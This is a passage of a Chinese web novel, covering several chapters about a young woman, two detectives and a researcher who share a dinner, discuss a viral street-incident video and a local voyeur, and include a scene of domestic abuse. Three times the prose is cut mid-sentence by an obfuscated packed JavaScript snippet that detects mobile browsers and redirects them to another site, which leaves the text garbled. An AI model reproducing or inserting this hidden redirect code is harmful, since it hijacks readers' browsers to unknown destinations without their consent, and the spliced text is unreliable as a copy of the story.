雎安自顾自地点头,像是在给自己洗脑,为自己发烫的脸颊找补。可即便如此,她的脸还是越来越烫,根本无心找快递,注意力都在身后两人的对话中。虽然隔着三个货架,她听不太清,但仍能隐约听到“梁警官、防晒、尾随寄件人、调监控。”几个关键词。 看来是在查案。 不过,宋挚不是警察,他为什么会跟着那个梁警官来这查案?难不成他是报案人,他有什么贵重物品丢失了? 雎安带着疑问往前走,一边翻找快递,一边强制收回自己的好奇心。她可不想被人发现,更不想被人误会是在刻意偷听。 驿站虽然是新驿站,入驻南林社区不过一年,雎安毕竟是南林社区的老居民,动作迅速地按 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16025946|176717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 照货码找到三个快递,又熟门熟路地走到扫码区出库。 “你们这的监控清晰度很不错,新装的?” 熟悉的声音,熟悉的背影,雎安弯腰扫码的动作一滞。 “我们的驿站开了一年不到,也算是新装吧。”工作人员接过周浮沉手中的U盘,“之前的快递都暂放在单车房,那时候有很多小快件被偷,所以我们吸取教训,就装了很多高清的监控。” “门口那三个监控也是你们的?” “对,我们会在门口入库快递,怕有人顺东西走。” “嗯,那麻烦把门口的监控也都全部下载下来,我要重点看。” 周浮沉正在让快递驿站的负责人把近十五天的监控录像下载至U盘,察觉到身后有探寻的目光落在他身上,忽地回头,和雎安对视了。 雎安身子骤然一僵,猛地吸了口气,心想:刑警就是刑警,背后长眼睛似的,真是敏锐。 “有事?”周浮沉问道。 “没有。”雎安皮笑肉不笑,指着身边的货架道:“我找快递。” 周浮沉顺着她指的方向看去,而后视线又重新落在她身上,“你住在南林社区?” “嗯,对。” “怎么身份信息上的地址不是在这附近?” “啊?”雎安一愣,片刻后才反应过来,她作为证人,在做笔录的时候曾报过身份证号,周浮沉输入电脑后肯定能看到个人信息。 “那是搬家前的地址。”雎安解释道。 周浮沉定定地看着她,片刻后,他问道:“你不舒服吗?” 雎安再一次面露疑惑,一副没听懂的模样,身体却十分诚实,先是抿唇否认,而后假装不经意、实则慌张地用手指将耳后的黑发勾到前边,试图为面上的绯红打掩护。 “可是......” 在意识到周浮沉下一句大概率是“你脸好红”的时候,雎安迅速转移话题,“没有,我没事。说起来,我还没给你和汪警官道谢呢~” “汪警官人呢?”雎安往周浮沉身后看。 “他另外有任务。” “哦~”雎安紧张地舔了舔嘴唇,“那或许,你吃晚饭了吗?” 周浮沉还未来得及做出回应,雎安补充道:“我知道这附近有家店的菜色很不错。” “能带上我吗?”梁询突然从雎安身后冒出来,吓得雎安捂住自己的心口、往后连退两步,“抱歉抱歉,我没想吓你。” “我没事。”雎安深吸一口气,笑道:“当然欢迎你来。” “前辈,这样不好。”周浮沉斜他一眼。 “哎~都说了别叫我前辈,我就比你大一岁,叫前辈太奇怪,叫梁哥又太老了,叫我梁询就行。” “好。”周浮沉应下,一本正经地重复道:“梁询,这样不好。” 梁询:“……” 不得不说,周浮沉更有前辈的做派。 雎安暗自感叹,待心跳平静下来,抬头去看梁询的那瞬,突然注意到梁询身后站着的一个人,是刚刚完全被货架挡住脸的宋挚,此刻正一瞬不瞬地看着她,她能感觉到自己的心跳再一次不受控地变得又快又乱。 “有什么不好?” 梁询没听到前面的对话,只看到两人对话时的距离比普通朋友要来得亲密,便猜测起两人的关系,想着收工前探听点八卦,再蹭顿饭吃,结果周浮沉竟然嫌弃他打扰了他们的独处时光。 于是被拒绝后,语带嗔怪道:“我这三天才睡了九个小时,师傅下午准我回家休息,等于我现在是在休假,要不是来这查这快递,我早就在家睡大觉了~” “走吧,我请客。” 语毕,雎安和宋挚看向彼此,都被刚刚异口同声的默契给震了一下。 36. 四人饭局 “消防安全不合格,食品安全存在隐患,除了收银台的监控开了,茶馆里的其它监控就是摆设,店铺外围的监控还是改造成艺术仓前的老工厂留下的,很多都坏了,没坏的监控也很模糊。” “那现在怎么办?”听完周浮沉的总结,宋挚皱起眉头,“对方会不会是对这片比较熟悉的人?因为知道这点,所以才在这里找人寄件。” “有可能。不过,就算这里的监控不行,只要顺着他来时的路往前追溯,还是能摸到他的踪迹。”刺眼的阳光让梁询不自觉地打了个哈欠,“哈~就是得看好多监控。” 周浮沉顿觉鼻子一痒,赶忙在打哈欠前用手捂住嘴。 少顷,他回复道:“不用那么麻烦。廖静纯说她不认识嫌疑人,对嫌疑人也不眼熟,我看她不像在说谎。那么,那人必定会去确认廖静纯有没有按他说的去做。” “意思是,他会跟着她?”宋挚很快反应过来。 周浮沉点头,“没错,刚刚廖静纯说她是在家附近的驿站寄出的快递,我查了她说的那个驿站,除了存取的货架外,旁边还有小型的分拣站,那必然安装了不少高清的监控。” “那我们就去那吧。” 梁询困得不行,下午讨论的时候他的大脑就已经如同几年未启动的电脑,即便开机成功,也只能缓慢运转,还会偶尔陷入宕机的状态。 此刻,踏进凉爽宜人的室内,闻着从开放式厨房传出的饭菜香,他昏昏沉沉的大脑瞬间清醒许多。 “您好,两位吗?” 身着黑色修身西服的服务生看着打头的雎安和宋挚,面带微笑地上前询问,胸前竹韵绣花很是别致,猫眼石珠扣更是点睛之笔。 “不是,我们有四个人。”雎安指了指自己身后的两个男人。 “那坐这可以吗?”服务生指着离门口不远的四人雅座。 雎安瞥了一眼,眉心微蹙,显然不满意那拥挤的座位,“还有包间吗?” “您看这大厅,现在是高峰点,没什么座位了。四个人去包间的话,低消是两千哦。”服务生友好地提醒道。 雎安知道服务生并没有刻意刁难她,这家位于南林街道的老字号“张记酒楼”,每到饭点都座无虚席。当下正值饭点,他们没有预定,进来后不用等位就已经是幸运。 只是......兴许是因为生意火爆,店家想多塞几桌人,索性将一楼大厅的小桌打上“精致雅座”的名号,借此将桌椅之间的间隔名正言顺的缩小,用餐空间要比寻常饭店逼仄不少。 既然是表示感谢的请客,他们又并非相熟的朋友,雎安自然不好意思让三个手长脚长的男人和蜷在她角落里束手束脚。 于是,雎安咬牙说出了让她钱包吃瘪的话,“嗯,麻烦带我们去包间吧。” “不用。”周浮沉摆手,“我得抓紧吃完,回去补觉。” 宋挚应声道:“两千的菜,没有提前预定的话,光是上齐菜都要两三个小时。我看大厅就挺好,古色古香,还没有限制。” 周浮沉和宋挚看了对方一眼,心照不宣。 雎安最终没能拗过他们,四人往服务生一开始指向的位置走去。 “这里还有座。”见三人都盯着她对面的座位,雎安指着自己身边的位置,视线却并没有对准任何一个人。 “那我坐过去。”站在最外边的周浮沉没磨叽,直接走到雎安身旁的座位坐下。 雎安将菜单递给她身旁的周浮沉,另一份伸手给到正对面的宋挚,问道:“你们想吃什么?” “有推荐吗?”宋挚随手翻开菜单,视线却停留在雎安身上。 “酿豆腐是招牌,牛百叶我觉得不错,这的焖猪脚也很多人点,焖得很软烂入味,还有盐焗鸡的味道也不错。”雎安一通推荐,意识到自己再说下去,他们可能会不好意思点其他的菜,进而问道:“其实都挺不错的,你们点吧。我没有忌口,你们呢?” 周浮沉和宋挚同时摇头,最终按雎安的推荐和服务员下了单。 “没有汤吗?”总觉得少了什么的梁询突然反应过来,“点的都是主菜。” 雎安瞬间被点醒,“这的猪肚鸡汤和五指毛桃龙骨汤是必点榜前三,你们想喝哪个?” “五指毛桃吧。”梁询也不客套,正好他最近经常熬夜,喝点祛湿下火汤也能舒服点。 “好,那我用手机加单。” 点餐完成,四人陷入了短暂的沉默。 “你是不是和中午那三人有过节?” 周浮沉累了,和梁询一般倚靠在背椅上,说话前还扭头避开雎安,连打了几个哈欠。 “啊?”雎安完全没反应过来。 周浮沉接着说道:“在派出所的时候,你说他们一直都很蛮横。” 雎安的嘴张得浑圆,回想当时自己的脑中是那对夫妻在公交车上蛮不讲理的嘴脸,这才意识到自己竟然把装置里发生的事当成了现实的经历。 而她只在装置里见过的人,性情居然能和现实的他们完美对应。 思及此,雎安打了个寒颤。 “我同事汤晴,就是上次在派出所和我打招呼的那个女生,是那对夫妻的小女儿。她和我吐槽过几次她爸妈的性格。” 话是不假,但雎安在此之前并不知道汤晴的爸妈就是那对刁蛮夫妻。 “她哥汤尊,也就是中午那个男人,还家暴妻子和女儿呢~”紧接着,雎安啊一声,忽地用指节轻敲两人之间的桌面,“汤尊你见过的,就是那个在派出所跪地求饶被拒后又污蔑妻子擦边的男人。” “嗯,有印象。” 周浮沉曾在调解室亲眼目睹汤尊变换的嘴脸和童敏外露皮肤上的新伤叠旧伤,当时他的师傅陈川亮说,他的眼神和童敏如初一撤,仿佛也受到了伤害一般,下一秒就要冲上去掐死汤尊。 所以,今天中午的事情发生后,下午师傅就发来了一条短信,是他极其熟悉的口吻。 “我在网上刷到了你的视频,讨论度很高,这对你来说并不好。如今你是刑警,执行的任务势必会比以往更敏感、也更危险,你必需更冷静的思考和更谨慎的判断,毕竟这不仅和前途有关,更是关乎性命。” 师傅是在担心他。 “好的,我会谨记。” 周浮沉仔细斟酌,发送了这简单的一句话,之后便转到社交软件上的同城搜索里寻找近期的热度视频,好奇师傅到底看到了什么内容。 师傅是个务实的人,并没有夸大其词。他不过划掉了一个热度最高的视频,下一个就是他和邹雎安。 视频标题是:街头碰瓷遇狠人 视频开头是大娘口水飞溅地辱骂雎安的画面,随后雎安被碰倒在地,崩溃大哭,控诉起自己的不幸遭遇。再然后,是大娘以避开疯子般的眼神躲避雎安,以及汤尊像是疯了般突然面容扭曲地跑到他身后意欲偷袭。紧接着,就是他制服汤尊并高喊着亮出警官证的画面。 周浮沉扶额,要是这个视频被王队和张副队看到,肯定会被训,但顶多也就是训一训,但要是被他爸妈看到了,就有大麻烦了。 视频的最后,是卢宇年蹦出来给了汤尊一记飞踢的画面。 不得不说,这个被营销号剪辑过的视频非常抓人眼球 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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雎安深深地叹了口气,“去年我朋友在公司附近的老小区租房落脚,没想到碰到楼上的老头老太太总是在五点就开始剁骨头切菜,我朋友拿着礼物去好言劝说,他们冷脸收下礼物后,开始在四点起床的时候就故意拖着鞋走路,我朋友受不了就直接去敲门质问。结果他们恶人先告状,面对我朋友录下的扰民证据面不改色,扭曲事实,最后还因为争论时情绪激动而犯病住院,我朋友不愿意付医药费和精神损失费,就被他们一家到处说,最后我朋友不要押金,搬离了那个小区。他们还录视频到网上求助,我朋友还被网暴了。” 服务员上的第一道菜是五指毛桃龙骨汤,坐在外边的梁询早已饥肠辘辘,火速为自己盛了一碗满满都是肉的热汤。 “这类撒泼耍赖、恃强凌弱的人,我们南林社区就有不少。我很清楚,要是对上他们,只有以毒攻毒才有用。” 雎安想,反正她在他们面前也没什么形象可言了,倒不如痛块地说出心中所想。 “我经济条件本来就不好,打工这些年,好不容易攒了点钱,就以他们当时那副赖定我的架势......” 雎安唇角微勾,划过一丝冷笑,“我宁愿给他们打几拳,这样我反倒占理。他们要是敢在我面前发疯,我就更疯。如果往后他们死磕我赔钱,或者走到打官司那步,我就会借媒体舆论来讨伐他们。反正......我没错,就绝不可能赔钱给他们。” “钱比健康和性命重要?”宋挚直勾勾地盯着雎安,简单的话语,但训诫的意味比周浮沉刚刚说的话还要重。 雎安误以为宋挚觉得她锱铢必较、睚眦必报,兴许是有赌气的成分在,目光反而更加坚定地回应道:“可能你觉得我很可怕,但我就是不愿意吃这个亏。” “我理解你。”周浮沉也不知想到了什么,先是嗤笑一声,而后扭头看向雎安时,眼角眉梢都是饱含抚慰意味的温柔。 一旁大口吃肉的梁询眼珠子骨碌碌转,显然注意到了宋挚眼底的吃惊,也将周浮沉关怀雎安的言行举止看在眼里。 37. 古早韩剧海报 雎安说的是那个朋友是沈薇。 周浮沉曾在沈遂行组织的饭局上听她本人哭诉过,当时沈薇还问他该如何处理,如果报警的话,能够给那些私信辱骂她的网友一点教训吗? 他当时公事公办地给了些建议,没多想,今日雎安的遭遇和话语倒是勾起了他的回忆。 当年他刚入派出所跟着师傅办的第一个案子,是一位老爷爷在马路中间遛狗不牵绳,结果狗狗撒腿跑到人车底下,车主碰巧启动车,狗狗就这么没了。 最后他们断定是老爷爷全责,老爷爷指着他们鼻头骂,说狗狗死不瞑目,说他们是黑心警察,必定是收了车主的好处,还抱着狗狗的遗照在派出所哭了一星期。后来被一些不知前因后果却又有一腔热血的人拍照传上网,掀起了“狗狗的命就不是命”的讨论热潮,其中就有不少心痛老人一把年纪哭得上气不接下气的人,开麦抨击并诅咒他们。 只不过,可能因为他们是警察,敢怼着脸骂和开盒他们的人倒是没有。 周浮沉嗤笑一声,眸底却透着温柔。他说:“我理解你。” “有的老人总以为自己年纪大、脾气大、会撒泼打滚就能无法无天,我在执法的时候没少碰到,虽然我还是不鼓励你硬碰硬,但是能理解你。” 宋挚就这么看着他们从略有分歧到了然于心的相视而笑,即便他有参与对话,却没有丝毫参与感。他深呼一口气,拿起汤勺和三个碗,为还没喝上汤的自己和她们都打了一碗热汤。 “谢谢。” 接过热汤的时候,雎安和周浮沉异口同声地向宋挚道谢。 “对了,刚刚你说到会有人传视频上网,这倒是一点没说错。”周浮沉拿出手机,点开默认收藏夹,很快就找到了他下午刷到的那个视频,“还是我师傅,哦,就是上次你见到的那个警官,他告诉我这视频的热度很高,我刷到的时候都十几万赞了。” “十几万?!”雎安瞪大了双眼。 周浮沉点头,将手机向右转四十五度,推到雎安面前。见此,雎安下意识地往前探头,两人的距离比刚刚贴近不少。 宋挚好似什么都没看见,什么都没听见,目光呆滞地嚼着汤里那没什么味道的猪肉,梁询则完全不同,他热情地指挥着服务员将新上的菜都放在他面前,并兴奋地拿起了筷子。 好尴尬啊~ 视频不过一分钟,雎安却觉得像是过去了十几分钟,先不说她那狼狈的样子被恶意剪辑放大,单说周浮沉出现后就开始放韩剧BGM这里,就尬得雎安如坐针毡、如芒在背。 如果这视频被她的父母、亲戚和朋友刷到的话...... 雎安脑中瞬间涌出逃离华州的念头,哦不,这都不够远,最好是能逃离地球。 “还有一点,你说得很对。”周浮沉轻敲桌面,雎安随着他的动作抬头,“如果有人把视频传上网,这存在争议和冲突的内容瞬间就能引爆话题,而网友们大多是看个热闹,都是一时的愤慨激昂。” 他竟然一字不差地复述了她刚刚说的话。 周浮沉接着道:“你看看评论。” 雎安垂眸,听话地点开了评论区。 “加个滤镜,妥妥的韩剧,氛围感十足。” 配图是周浮沉为了让她冷静下来、环住她的画面,还加了蓝紫色滤镜和背景虚化,看起来确实像电视剧的海报。 雎安一脸黑线,她肯定周浮沉不是让她看这条评论。 于是,她往下滑。 “有点磕到了是怎么回事?!” “我刷到过完整的视频,那警察后来还挡在女生面前训斥那狗男人,是真的帅!” “样貌和气质是真配,和那三个恶人就不在一个图层,磕到很正常。” 雎安只是一眼晃过这些话,都感觉自己像是打开了蒸锅,热气扑面而来,遂赶忙往下滑,直到看到与她们无关的评论。 “最后那小哥二话不说就一脚踢过去,完全就是英雄式出场,帅炸了!” “小哥踢得好,就该狠狠教训那些碰瓷和欺负弱小的人!” 此刻的周浮沉并不知道下午的高赞评论已经被新的热评顶了下去,见雎安看得聚精会神,这才停止咀嚼,放下碗筷,好奇地看向自己的手机屏幕。 “呵,他倒成正义之士了。” 声音从头顶传来,雎安没看到周浮沉的表情,却能感受到他语气中的嘲讽。 此刻屏幕上的内容,全都在夸赞卢宇年是天降的正义之士,还有人扒出他是安娜维诺集团的太子爷,说他是路见不平、拔刀相助的富二代。 “好吓人啊~”雎安忧心地感叹道:“我随便往下一翻,发现曝光的不止是卢宇年的身份,汤尊的工作单位和那对夫妻的联系方式都被人扒出来了。” 雎安将手机推还给周浮沉,“应该不会有人曝光我们的个人信息吧?” “这个叫汤尊的。”宋挚突然出声,“网友能很快检索到他,是因为他是网红烹饪师童敏的丈夫,他曾出镜过不少次,做的工作还是新兴国潮品牌‘浮光’和‘初见雁’的公关,之前却被爆出和品牌的辱女宣传文案有直接关联。” 雎安循声望去,这才注意到宋挚并没有在干饭,而是和她刚刚一样,专注地看着手机屏幕。 宋挚接着说道:“而‘浮光’和‘初见雁’就是安娜维诺旗下的品牌,汤尊是公司公关部的员工。这次汤尊和卢宇年的冲突,正好是个机会,他们可以通过公关把之前的辱女事件都推到汤尊身上,借此美化品牌和公司的形象。我想,这也是为什么你们这件事的热度会越来越高的原因之一。” 宋挚抬头,和周浮沉对视一眼。 周浮沉知道宋挚为何会特别关注安娜维诺公司相关的一切,而宋挚知道那个快递的事并不方便在雎安和梁询的面前讨论,两人极有默契地在对方的眼中读出了然。 “你发现了不对劲?”周浮沉问道。 宋挚点头:“下午的时候,我就注意到本地热点新闻推送得很频繁,内容都是中午那件事,推送的媒体源都和戴清阿姨有关联。” 戴清是雎安公司的老板,是安娜维诺公司的老板娘,也是卢宇年的母亲。 雎安没想到,自己认为她闲得有些无所事事的老板,其实有在找准时机做事,再结合之前汤晴说老板兴许是在借她们运的话,本来她是不信的,此刻却顿觉后背一凉。 “所以,这些被公布出来的个人信息大概率是公关的手段,你们应该不会受牵连。”宋挚分析完,再次转头看向周浮沉,“你就有些麻烦了。” 闻言,周浮沉微不可察地点了点头。他是刑警,知名度高绝非好事,更何况他最近还在调查毒品案。 “为什么?”雎安疑惑。 “没什么。”周浮沉不想解释,随口应付后准备把手机放回衣袋里,好安心吃饭,然而就在他准备摁息屏幕的那刻,不知是误触了哪里,屏幕上的信息跳转到了另一个评论区,他看到了一张P过的海报。 女人面带愁容,脸上都是泪痕,有种破碎而沉静的美感。男人环着女人,面上都是担忧和紧张,低头在女人耳边低语。不知是不是色调的原因,看着悲伤而缱绻,像古早韩剧的海报。 至于下边的评论,总结为极简的四个字,两人很配。 而现实是,他当时在劝雎安冷静,因为怕她失手打伤老人而麻烦缠身,所以才在情急之下环住她,引导她深呼吸以快速冷静。那时候,他们别说暧昧了,两个人都有些狼狈,都还浸在各自的情绪中,精神都在高度紧绷的状态下,脑子里思考的也是下一步该怎么做。 所以,她刚刚面露尴尬地不断往下刷,是因为刷到了这些? 她不会误以为,他让她看的是这些无聊的内容吧? 周浮沉讪讪地开口:“你......” “你吃这么少?!” 周浮沉的声音被梁询的惊呼淹没。 “你都这么瘦了,难不成还打算减肥?”梁询的嘴角抽了一下。 周浮沉将手机收到衣袋,“别减肥,再瘦都影响健康了。” “我没有在减肥。”雎安否认,对突然的关心感到不适应。 宋挚抬眸观察她,发觉她双颊微红,表情窘迫,还有些魂不守舍,故而关心道:“你是被吓到了?” “还好。”雎安摆手,“是有一点被吓到,但没那么严重。我食欲一直不好,饭量不大,高中开始就这样了。” “那你该去看看医生。”宋挚快速瞥了眼雎安纤细的手腕和小臂,“你太瘦了。” “看过的。医生说我是天生肠胃弱,消化不好,吃不了太多。” “高中开始食欲变差,怎么会是天生肠胃弱?”周浮沉很快察觉到话语中的漏洞,“那医生水平不行,换一个试试。” 宋挚认可地附和道:“或许你可以试试中医,调理一下脾胃,很可能是忧思过度导致的脾胃运化变差。” 宋挚不是医师,但也不是张口就来。 宋言林就曾因为邓玉瑛的病情和实验被砍经费的双重打击,在短期内食欲大减,整个人变得格外憔悴,当时生着病的邓玉瑛很心痛,打电话给之前帮邓庆生治疗过失眠症的中医,请他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16038195|176717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来给宋言林看看。 效果出乎意料得好。 “视强,则目不明;听甚,则耳不聪;思虑过度,则智识乱。我没记错的话,是韩非子的名句。” 宋挚会断定雎安忧思过度,是基于她家庭背景的判断,但他断然不会这么说出来,伤她的自尊,故而找了个由头,“我看你总是垂眸思考,总会无意识地皱眉,心事很多的样子。之前我们聊天,你总说你会思绪混乱,而且你还很怕冷,稍微紧张一点就冒冷汗。之前宋教授压力大的时候也会这样,这些都是过思的典型表现。” 爱人如养花。 宋挚不得不承认,他和雎安就是对照组。 他在一个有爱且尊重他意愿和感受的家庭长大,是那种一眼看去就知道是有得到很好的培育和滋养的人。 而雎安,则是那种一眼望去就知道没有被好好爱护着的人,明明没有勾腰驼背、眼神闪躲,但就是给人一种不自信的感觉,眸底也总是透着几分忧伤,愁且冷,拒人于千里之外,防备心也很强,像是恨不得在自身的四周砌起高墙,圈出一块独属于她的移动空间。 这感觉,不是内向,而是封闭。 虽然,宋挚并不喜欢把自己和雎安比喻成“花”,像是缺失了主体性、只能由着养花人培育的物件。但他不得不承认,把这话看得宽泛些,它确实反映了一些现象,他和雎安就是明显的对照组。 “爱人如养花,爱己应如是。” 童敏看着手机屏幕上的这段话,不自觉地低头看了眼大臂上淤青,以及枕在她腿上睡着了的女儿汤楚楚。 她的女儿正是长身体的年纪,吃得少,人很瘦弱,体质也不好,两个月内感冒了三次,而每次感冒都好得很慢。此刻,她的女儿刚服下退烧药,进入了梦乡。 门外,是汤尊和爸妈的争执声。 童敏不知道他们这是又怎么了,慢慢地将女儿的头移到柔软的枕头上,动作极轻地下床,推门离开房间,她只想让他们安静下来,别吵醒生病的楚楚。 “这电话一直响,短信一直发,全都是咒我们去死的,到底要怎么办才好啊?” “关机啊,关机不就行了。”汤尊对着自己的父亲,吼出声道:“反正那些贱人就是一时兴起,过几天就懒得发了。现在最要紧的是我的工作!!” 汤母焦急地询问道:“你的工作怎么了?” 汤尊极其烦躁,声音越来越大,“之前被我那死人卢宇年打,没敢和他多计较,就是为了保下这份工作。现在公司那边说要辞退我,还直接在网上发布了我被辞退的公告,竟然和我玩阴的,我绝对不会咽下这口恶气!!” “拜托你消停点吧~”童敏担心他再捅出篓子,出声劝阻道:“那卢宇年就不是个好惹的富二代,之前你占理,只是骂他两句,他都一副要打废你的样子。而这次发生的事是你有错在先,你们已经落人口舌,要是再整出什么事,你真的可能会被警察抓起来的。” “屁!” 被怒火点燃的汤尊两步上前,当着父母的面,抬起青筋凸起的手臂,在童敏脸上留下一个清晰可见的掌印。 “你个婆娘懂屁!我已经四十了,被这样屈辱地辞退,以后要怎么办?!你以为人人都像你,在镜头前笑一笑、扭一扭,就有钱进账啊?” “我是美食博主,我的工作是研制新菜色、摆盘摄影、录像剪辑、筛选推广和跟进广告合作,你以为做这些很轻松吗?!” 脸上火辣辣地疼,胸口更是闷烘烘地赌,童敏捂着自己发麻的右脸,辨不清自己到底是失望极致,还是愤怒至极,亦或是......更多负面情绪早已夹杂在一起。 “你别总是混淆视听,试图羞辱我以掩盖你无能的事实!” 这句话出口的那刻,童敏不后悔,即使她知道自己是免不了被一顿拳打脚踢。这么多年,她早已学会了忍受,同样对那冷眼旁观还指责是她生不出儿子的老夫妻恨入骨髓。 她没哭,更没示弱。 一想到他们恶人有恶报,一个两个接连倒了大霉,她甚至快活得大笑出声。 就在这时,房门被拉开一个小小的缝隙,客厅的光投射进去,汤楚楚那红透的泪眸一下撞进了童敏的视线。 汤楚楚害怕得浑身发抖,为了让自己不要发出声音,用力地咬着自己的下唇,然而就在童敏的头被扯起来的那刻,汤楚楚惊得发出一声极轻的痛呼,下意识地抬起那细如竹竿的手臂将嘴紧紧捂住。 明明她的女儿还那么年轻,童敏却从她的眼睛里读到了绝望。 眼泪从眼角滑落,童敏哭了。 38. 皱眉三人组 梁询先是瞄了一眼对面的周浮沉,再扭头瞥一眼身旁的宋挚。 他总觉得宋挚和周浮沉之间弥漫着淡淡的火药味,虽然他们都表露得很隐晦,但他毕竟是刑警,观察力本就不差,饱餐后气力又恢复了很多,困意还没上来,头脑倒是比往常更加清晰。 从刚刚的对话中可以得知,他们都和那个名叫雎安的女生有私下的接触,而只要聊到只有其中两人才知道的内容时,另一个人的眼中就会有惊讶的情绪一闪而过,然后好似不经意地看一眼对方。 “嗯,那我找个时间去看看。” 面对宋挚和周浮沉友好的建议,雎安既不想解释,也不想扫兴,索性随口应付过去。 她根本没想去看医生,因为她当下认定的能治好她的药,就是搬出去住。 雎安没说的是,她高中食欲退减时并没有去就医,因为她大学的时候就恢复了,食欲再次退减且变得更加严重是毕业后的事。 她有去看过医生,而医生确实如宋挚所说,认为她小小年纪思虑过多,给她开了不少药,但效果都一般。 最后得出的结论是,她需要从精神上得到治疗,那就是脱离让她感到透不过气的环境。 以前是日复一日的机械式的封闭校园生活,现在是望而生畏的易燃易爆炸的家庭生活。 “不过……我发现你们也挺爱皱眉的。”雎安指了指宋挚和周浮沉,说得有些迟疑,“兴许就是个人习惯而已。” “你别说,我也这么觉得。”梁询应道:“你们简直是皱眉三人组。” 以往,从没有人觉得他是会习惯性皱眉的人。 宋挚在意识到这点,并发现此刻自己正在皱眉的时候,倏地想到了舅舅说他变得和周浮沉一般少言寡语、沉思多虑的话。 气氛短暂的凝滞。 就在雎安和梁询都觉得自己说错了话的时候,梁询的手机铃声响起,让在场的人一震。 雎安瞄到是一串没备注的手机号码。 梁询拿起手机极快地看了一眼,并没有接,无奈地苦笑道:“我还有事,得先走了。” “是工作上的事?”周浮沉的第一反应是案情有了新进展。 梁询摇头。 “哦那前辈你快走吧。今天麻烦你了,改天我再请你吃饭。” 又叫他前辈了。 梁询的嘴角轻哼出声,笑道:“我倒不担心你不请,就怕没时间吃。” 他们都很忙。 梁询走后,宋挚的手机也开始嗡嗡作响,雎安下意识地瞄了一眼屏幕。 是宋教授的来电。 “我出去接个电话。” 宋挚也离开后,雎安关切地询问周浮沉:“你要不要先回去休息?” 周浮沉刚要拿筷子的手一顿,“我还没吃饱。” 尴尬了…… “那你慢慢吃,不着急。”雎安拿起茶杯,喝了口茶,解释道:“我刚刚是以为你吃饱了,但因为不好意思提前走,所以才留在这。” “话说......”周浮沉侧头看向雎安,“你和宋挚很熟吗?” “嗯?” “我和宋挚就从小认识,之前没听他说起过你,但我看你们还挺熟的。” 雎安尬笑一声,“还好吧,因为我一周前去参加了宋教授的实验,所以我们有了点共同话题,随口聊过几句。” “是吗?”周浮沉转过头去,拿起筷子,漫不经心道:“那他还蛮认真地观察你的。” 什么意思? 雎安将脸往墙壁那边侧,眼珠子轱辘转。 难不成,他是在暗示她撒谎不打草稿? “你碰到过上次那个偷窥男吗?” 周浮沉吃饭的速度有些慢,宋挚又还没有回来,雎安低头看手机,但心思却不在手机上。兴许是察觉到雎安的心不在焉,想着还是聊点什么好,周浮沉在咀嚼并咽下嘴里的食物后,又放下了筷子。 “没有。”雎安放下手机,“他不是被关进去了吗?” “对,拘六天,很快就出来了。” 雎安问:“如果他是惯犯,处罚会变重吗?” “会,就是因为他是惯犯,所以才处以五日以上的拘留。” “啊?”雎安没意识到自己爱了的语气中都是不满,“惯犯的处罚就这么轻吗?” 周浮沉被噎了一下,垂眸想了想,解释道:“我们是根据《治安管理处罚法》第42条处罚的,因为他只是偷窥,在没有偷拍且传播的情况下,最高的处罚是十日拘留和500元以下的罚款。” 耳边的锅碗瓢盆叮铃哐啷的声响,呼吸间都是饭菜的香气。 如此具有烟火气的场景下,雎安没有先前那般拘谨,刚刚有几个瞬间还把周浮沉当成了朋友,说出了内心真实的想法。可当她和他对视,他义正言辞地说出处罚法的时候,雎安意识到他们可不是什么朋友,可没有到能倾吐心声的地步。 “只能说,希望以后这类违法行为能得到更多的重视,处罚也能更加完善吧。” 周浮沉微不可查地叹了口气,不愿多说,更不想和分享那些审问这类惯犯的经历,挺恶心的...... 雎安却因为他的这句话和这个反应,对他有了不一样的看法。 之前,她曾听同学院的几个师兄议论过,他们觉得被偷窥的女生要求重罚这类偷窥行为是无理取闹的发言。 “又没有受伤,又没有造成实质性伤害,闹得人尽皆知的。” “难道还想给人判死刑吗?差不多就行了。” “就是!居然还要求学校开除那男生,这也太过分了吧,这样他的人生就被毁了。” 而这类言论,网上还有很多。 雎安在刷到的时候,不敢想象被偷窥的女生承受着怎样的压力。明明偷窥者的人生就算被毁,那也是他自己造成的,却有这么些人不分青红皂白、倒反天罡,将其归咎于受害者是否追究和宽恕上,反而攻击起勇于维权和发声的受害者。 “怎么了?”看着注视着他、眼睛逐渐失焦的雎安,周浮沉感到奇怪。 “哦没什么~”雎安迅速回神。 周浮沉并没有在意,转而提醒道:“偷窥男叫赵思成,他是惯犯,住在南林社区,也就是你生活的这一片,你最好留意留意。” “他居然住在南林社区?”雎安的脸色霎时沉了下来。 “是。” 周浮沉见雎安紧皱着眉头、头顶好似布满了阴云,不由地想起陈川亮对他的教导,有些生硬地安抚道:“不过,你也不用太担心,我只是让你多个心眼。赵思成虽然是惯犯,但胆子不大,最多也就敢在背后搞点小动作来吓唬人。不要和他起正面冲突,有事就报警。” 这类案件虽然没有实质性的身体伤害,但给受害人造成的心理创伤却不可忽视,而她......还是阿挚在意的人。 “或者,你加我上次打给你的那个号码,有情况就打电话给我,如果拿不定,只是感觉不对劲的话,就发短信告诉我,我会帮你判断。总之,你就留个心眼,但不必担心。” “嗯好,谢谢你。” 